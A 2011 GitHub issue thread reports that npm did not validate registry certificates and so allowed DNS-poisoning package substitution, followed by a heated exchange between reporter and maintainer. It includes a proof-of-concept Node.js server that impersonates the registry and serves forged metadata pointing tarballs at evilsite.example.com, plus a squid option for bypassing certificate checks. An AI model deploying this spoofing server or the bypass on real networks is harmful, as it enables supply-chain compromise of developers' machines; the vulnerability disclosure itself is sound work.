Security: HTTP(S) connections to registry.npmjs.org are not validated, package database not validated; DNS injection could compromise users of npm #1204

Closed
micolous opened this Issue Jul 31, 2011 · 10 comments

5 participants

@micolous

Edit (2013-10-03): This seems to have recently hit a couple of mailing lists and reddit.

tl;dr:

  • npm (as of ca52fe6) pins registry.npmjs.org's certificate, hard coded inside the application. It doesn't use the operating system's trust store at all, and also doesn't apply to other registry servers.
  • registry.npmjs.org runs a self-signed certificate.
  • I don't care anymore, because I don't use node.js anymore.

The npm 1.0.22 package registry system contains many fundamental security problems:

  • npm never checks the certificate of HTTPS connections against any chain of trust. It is accepted blindly. In fact, the official registry has an invalid certificate, one for *.iriscouch.com instead of registry.npmjs.org or *.npmjs.org or similar.
  • On older versions of node.js, HTTPS connections aren't even used at all without warning for software installations. Not necessarily important, but if you're relying on HTTPS to provide that authentication, it won't when using HTTP.
  • npm doesn't store a local list of package metadata, instead relying on a web service to query. As a result, an attacker may respond to any request for a package with a download location for a fraudulent npm package, and it will blindly be downloaded and installed.
  • npm does contain checksums of the package tarballs, but this is optional, and the checksums can be changed anyway as the package metadata isn't signed.
  • The registry service itself has no concept of trust. Anyone may publish to the npm registry service, no questions asked.

As a result, when connected to an untrusted network, it is trivial to use either DNS poisoning or packet redirection to send requests that would be sent to npm's package registry server to a fraudulent registry server instead, and compromise the computer it is running on.

Much of the information in this registry service is delivered redundantly.

I'll attach a proof of concept node.js HTTPS server that redirects all requests for packages to a single tarball. You will need to add an entry to /etc/hosts or c:\windows\system32\drivers\etc\hosts for registry.npmjs.org to point at 127.0.0.1 in order to simulate DNS poisoning on your machine. You can then run the script provided and it will start a HTTPS server. I haven't included a HTTP version, but doing so would be trivial.

npm's registry system should be entirely redesigned. It is possible to deliver a package database in a way that is very mirror friendly (ie: no web service required) and secure, while being delivered over normal HTTP connections. One example of this would be to follow something similar to apt's model:

  • A package index file is created. This can be compressed, and use deltas (vcdiff, for example) in order to reduce transfer sizes when being updated. Diff indexes help to identify patches required.
  • This package index itself contains the URLs and checksums for the files. This is verified whenever a package is requested, using multiple hashing algorithms.
  • The package index file is signed with PGP. In order to use a new authenticated package source, you would need to add their repository signing key to your computer. This would expire periodically, and be kept up to date in another package.

While apt doesn't mandate signed repositories (or accepting their signatures), it presents several confirmation prompts with warnings about downloading packages from untrusted or unauthenticated sources.

This will also help reduce the amount of redundant data being sent.

@micolous

Proof of concept fake package registry server (HTTPS-only):

// Really simple nodejs that pwns npm into providing fraudulent modules.
// Not complete, doesn't provide the tarball itself proper, or do any proper
// index spoofing.

var https = require('https');
var fs = require('fs');

// generate certificate with:
// $ openssl genrsa -out key.pem
// $ openssl req -new -x509 -key key.pem -out cert.pem -days 10
// follow the prompts
var options = {
key: fs.readFileSync('key.pem'),
cert: fs.readFileSync('cert.pem')
};

https.createServer(options, function (req, res) {
  res.writeHead(200, {'Content-Type': 'application/json'});

  if (req.url == '/') {
   // return a package index
   console.log("Package index");
   res.end('["ponies","do-not-use"]');
  } else if (req.url.indexOf('1.0.0')>-1) {
   // return a package atom
   console.log("Package atom");

   // again, proper attack, real looking data.
   // this appears to basically duplicate data in the other file, but npm
   // uses this anyway.
   res.end('{"name":"ponies","description":"PONIES","url":"http://localhost","keywords":["ponies"],"author":{"name":"","email":""},"contributors":[],"dependencies":[],"directories":{"lib":"./lib"},"main":"./lib/ponies","version":"1.0.0","_id":"ponies@1.0.0","engines":{"node":"*"},"_nodeSupported":true,"_npmVersion":"0.2.7-2","_nodeVersion":"v0.3.1-pre","dist":{"tarball":"http://evilsite.example.com/ponies.tar.bz2"}}');

  } else {
   // return a package description
   console.log("Package description");

   // in a proper attack, you'd populate it with some real-looking data
   // in reality this doesn't matter as npm isn't verbose about it's operations.
   res.end('{"_id": "ponies", "_rev": "1", "name": "ponies", "description": "pwns npm", "dist-tags": {"latest": "1.0.0"}, "versions": {"1.0.0": {"name":"ponies","description":"PONIES","url":"http://localhost","keywords":["ponies"],"author":{"name":"","email":""},"contributors":[],"dependencies":[],"directories":{"lib":"./lib"},"main":"./lib/ponies","version":"1.0.0","_id":"ponies@1.0.0","engines":{"node":"*"},"_nodeSupported":true,"_npmVersion":"0.2.7-2","_nodeVersion":"v0.3.1-pre","dist":{"tarball":"http://evilsite.example.com/ponies.tar.bz2"}}}}');
  }

}).listen(443);

console.log('Server running at https://127.0.0.1/');
@micolous
$ sudo npm install kittens
npm ERR! failed to fetch https://evilsite.example.com/ponies.tar.bz2
npm ERR! Error: ENOTFOUND, Domain name not found
npm ERR!     at IOWatcher.callback (dns.js:74:15)
npm ERR! Report this *entire* log at:
npm ERR!     <http://github.com/isaacs/npm/issues>
npm ERR! or email it to:
npm ERR!     <npm-@googlegroups.com>
npm ERR! 
npm ERR! System Linux 2.6.32-5-686
npm ERR! command "node" "/usr/local/bin/npm" "install" "kittens"
npm ERR! cwd /home/michael/Development/nodejshacks
npm ERR! node -v v0.4.10
npm ERR! npm -v 1.0.22
npm ERR! 
npm ERR! Additional logging details can be found in:
npm ERR!     /home/michael/Development/nodejshacks/npm-debug.log
npm not ok
@isaacs
npm member

Certificate checking is planned, but is not implemented yet. The plan is to present the cert data to the user the first time it is encountered, and then abort if it's ever different. (That is, ssh-style, rather than trusted CA-style.) I'm ok with the fact that the registry is signed by iriscouch.com, since that's in fact where it resides.

The registry service itself has no concept of trust. Anyone may publish to the npm registry service, no questions asked.

The "owned by first settler" approach to the package namespace is by carefully considered design, and will not change in the lifetime of npm. When you install software that someone else wrote, you implicitly trust their decisions, and there's no way around that.

npm's registry system should be entirely redesigned.

Fork or gtfo.

It is possible to deliver a package database in a way that is very mirror friendly (ie: no web service required)

I'm not sure what could be more "mirror friendly" than couchdb replication. The HTTP replication system is very robust, and supports filters, delta updating, and hands-free continuous operation in the face of network outages. If you prefer rsync, it doesn't get more rsync-friendly than a single append-only file. Not sure why you'd want to remove the "web service", since that's the bit that makes the mirroring so nice.

secure, while being delivered over normal HTTP connections.

It is not possible to safely transmit passwords over HTTP. Publishing requires HTTPS to be considered secure, and it's fairly recently that node's been able to transmit large payloads over HTTPS reliably.

The package index file is signed with PGP.

I'm not going to do PGP signing unless it is implemented in JavaScript. Yet another non-node dependency is too painful. (The sooner I can get away from depending on external tar and gzip programs, the better. It's less trivial than it seems, however.)

Verifying that it came from a trusted source (that is, with the same SSL credentials as the last time) is enough.

package index itself contains the URLs and checksums for the files.

That's a good idea. Implemented on npm/npm-registry-couchapp@8eddc26

@isaacs isaacs closed this Jul 31, 2011
@micolous

I'm absolutely appalled by your response to this critical flaw in how npm works!

You haven't really fixed the problem here, if certificate checking is "planned" there should be another open ticket for it. because this is an open problem. The security problem remains in npm and until it's actually fixed, it's not "closed"! You're covering up security problems in npm.

You've taken on the role of being a "distributor" in package management tools, a role you should take very seriously. You've got pretty high adoption within the nodejs community, as evidenced by the fact that every nodejs module I've looked at so far says npm install packagename, yet you haven't really considered the security of this system at all.

I worry that other package authors haven't considered the security of using your package manager either.

@isaacs
npm member

Cert checking added on ca52fe6.

I'm absolutely appalled by your response to this critical flaw in how npm works!

Wow.

if certificate checking is "planned" there should be another open ticket for it.

Please do not tell me how to manage issues. There's a system here.

I worry that other package authors haven't considered the security of using your package manager either.

How about a full refund?

@micolous

I'm writing this and being persistent about it not out of malice, but because I want you to be the best you can be, and I want nodejs to be the best it can be. If I wanted to be malicious I would not tell anyone about these problems, and simply show up at some nodejs conference or Starbucks and root your laptop.

You've put yourself in the position of managing software distribution for node.js for everyone. If this is a responsibility that you don't want, then feel free to ignore issues in your software. But you're basically covering up problems without actually fixing them.

Yes, you're writing free software, but you're also employed from writing this software. It looks very bad on your employer when you ignore security problems and tell people to get fucked and fix it themselves when pointing out these issues. You're also getting picked up by some Linux distributions now who care a lot more about security than you seem to, and who drop packages that aren't easily fixed.

Think of the damage that has been done to projects like PHP because of poor security. Some people refuse outright to run many PHP applications because there is a feeling within the community that their security is poor. For myself, the only PHP application that I use is Wordpress, purely because they have proven that they care about this stuff.

I know that fixing this problem will require a lot of work. I know I'm not paying you for it. But Joyent are.

It's an "open" issue because it's not fixed. If someone wants to take the time to fix npm (even if you don't want to), you should make sure that they're aware that here is a good place to start. I have plenty of longstanding issues in my own software too, some of them require a lot of work, but that doesn't mean I close and forget about them.

Other free software projects for software distribution (like dpkg+apt, and rpm+yum) get this stuff right, and I haven't paid them a cent. In the beginning, those systems didn't have verified packages or verified software distribution systems, but they managed to adapt and fix these problems.

Just because a library doesn't exist in nodejs to solve a particular problem doesn't mean you should ignore the problem, it means it's still an open issue but it depends on another problem being solved first.

@isaacs
npm member

I believe you when you say you intend no malice. However, you are nevertheless crossing the line from well-meaning newcomer to active troll. Please stop.

I do not ignore any kinds of problems in my software. In fact, your requests have led to me prioritizing several issues that were on my "eventually" list. I've provided you links to the work I've done in my personal time to make this happen. Your insinuations to the contrary are ignorant and disrespectful.

You should be very careful telling those you've never met how little they care about something. If I didn't care about security at all, I wouldn't work on it at all. However, you are making the mistake of most security-focused engineers, and apparently missing that there is anything else to be concerned with. This is a classic cognitive bias of over-estimating the threat of a low-probability failure mode.

If there are linux distros picking up such an immature and developmental project like npm, then it is to their folly. I never suggested that they do such a thing, and in fact, have campaigned several times to have npm removed from other package manager indexes. People should install node and npm from the source code. In a year or two, it might be a good idea, but for now, npm is still changing too quickly, and is too unstable.

You should be very careful in criticizing the workflow of a job that isn't yours. You don't understand how I manage issues. That much is ok; since you seem to be new here, I wouldn't expect you to know. However, you continue to assume you do know, and that "closed" means "forgotten", when you have evidence to the contrary in front of you. That baffles me.

You are free to not like npm, not use it, and even tell people how terrible it is, if that is your opinion. But your disrespect and presumption are unwelcome, even if they are well intended.

Fork or gtfo.

@mikeputnam

For users behind a squid proxy unable to "npm install foo" due to the invalid ssl certificate for registry.npmjs.org the below squid configuration option will bypass the certificate check. Use at your own risk.

http://www.squid-cache.org/Doc/config/sslproxy_cert_error/

ERR! at Object.parse (native)
ERR! at IncomingMessage. (/root/nodejs/local/lib/node_modules/npm/lib/utils/npm-registry-client/request.js:167:25)
ERR! at IncomingMessage.emit (events.js:88:20)
ERR! at HTTPParser.onMessageComplete (http.js:133:23)
ERR! at Socket.ondata (http.js:1224:22)
ERR! at Socket._onReadable (net_legacy.js:689:27)
ERR! at IOWatcher.onReadable (net_legacy.js:177:10)

@AlainODea

@mikeputnam you can avoid bypassing the cert check if you add the registry.npmjs.org CA cert to the CAcerts referenced by your Squid server. I had to do this for an internal server recently :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment